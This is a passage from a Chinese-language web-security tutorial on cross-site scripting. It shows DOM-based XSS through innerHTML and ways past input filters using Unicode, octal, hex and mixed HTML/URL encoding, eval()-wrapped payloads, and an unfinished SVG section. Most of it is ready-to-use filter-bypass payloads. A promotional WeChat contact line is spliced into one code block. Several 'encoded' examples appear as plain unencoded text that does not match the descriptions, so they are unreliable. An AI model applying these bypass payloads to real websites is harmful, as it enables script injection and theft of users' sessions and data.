要想让他们能够执行我们要将他们放在DOM环境中,即DOM型的XSS。
测试代码:
<div id='s'>test</div>
<script>
var search = "...";
document.getElementById('s').innerHTML = search;
</script>
以上情况很多都是出现在你搜索后,显示你所查询的关键字,变量 search 是一个可控点,当我们查询一个XSS攻击向量后,变量 search 就会被赋值为这个XSS向量,从而插入到div标签中触发XSS,如下所示:
<div id='s'>test</div>
<script>
var search = "<iframe src=javascript:alert('xss')></iframe>";
document.getElementById('s').innerHTML = search;
</script> WX:machinegunjoe666免费领取资料
此时如果过滤了 <、>、'、"、&、% 等等这些字符的话,我们便可以用JavaScript编码的方法将XSS向量全部编码,即 <iframe src=javascript:alert('xss')></iframe> 的以下编码都可以弹窗:
// Unicode编码
\u003C\u0069\u0066\u0072\u0061\u006D\u0065\u0020\u0073\u0072\u0063\u003D\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u003E\u003C\u002F\u0069\u0066\u0072\u0061\u006D\u0065\u003E
// 八进制编码
\74\151\146\162\141\155\145\40\163\162\143\75\152\141\166\141\163\143\162\151\160\164\72\141\154\145\162\164\50\47\170\163\163\47\51\76\74\57\151\146\162\141\155\145\76
// 十六进制编码
\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e
还有一种让八进制和十六进制编码的XSS攻击向量执行的方式便是将XSS向量放在某个能把字符串当做JavaScript代码来执行的函数里,比如eval()、setTimeout()、setInterval()等函数。如下示例:
- <script>alert("xss")</script>
<script>eval("\141\154\145\162\164\50\42\170\163\163\42\51")</script>
- <a href=javascript:alert("xss")>test</a>
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")>test</a>
- <img src=x onerror=alert("xss")>
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
或者也可以直接将一整段js代码编码后放入eval()函数中执行。
混合编码混合编码就是对一个XSS向量同时进行多种编码,如下示例:
- <a href=javascript:alert("xss")>test</a>
// 对javascript:进行HTML编码, 对alert("xss")进行URL编码
<a href=javascript:alert("xss")>test</a>
// 对javascript:进行HTML编码, 对alert进行Unicode编码
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>
也可以利用解码顺序进行混合编码,如下示例:
- <a href=javascript:alert("xss")>test</a>
首先对“alert”进行JavaScript Unicode编码:
<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>
然后再对 \u0061\u006c\u0065\u0072\u0074 进行URL编码:
<a href=javascript:\u0061\u006c\u0065\u0072\u0074("xss")>test</a>
最后对标签中的 javascript:\u...74("xss") 整体进行HTML编码即可:
<a href=javascript:\u0061\u006c\u0065\u0072\u0074("xss")>test</a>
SVG:XSS的一个黑魔法
我们在上文HTML编码那里最后留了一个坑,即HTML的五类元素中,像 <script>、<style> 这样的原始文本元素在这个标签内容纳的是文本,所以浏览器在解析到这个标签后,里面内容中的HTML编码并不会被认为是HTML实体引用,所以并不会被解码为相应的字符。
也就是说,向下面这样的代码,浏览器不会对其中的HTML实体字符进行解码,也就不会执行并触发XSS了:
<script>alert("xss")</script>
<script>alert(1)</script>
<script>alert(1)</script>
那如何绕过HTML原始文本元素进而执行HTML实体解码呢,这涉及到了 <svg> 的魔力,那是一种特殊的触发效果,单纯script标签内加载html实体编码,只会当做文本,没有任何触发结果,如下图: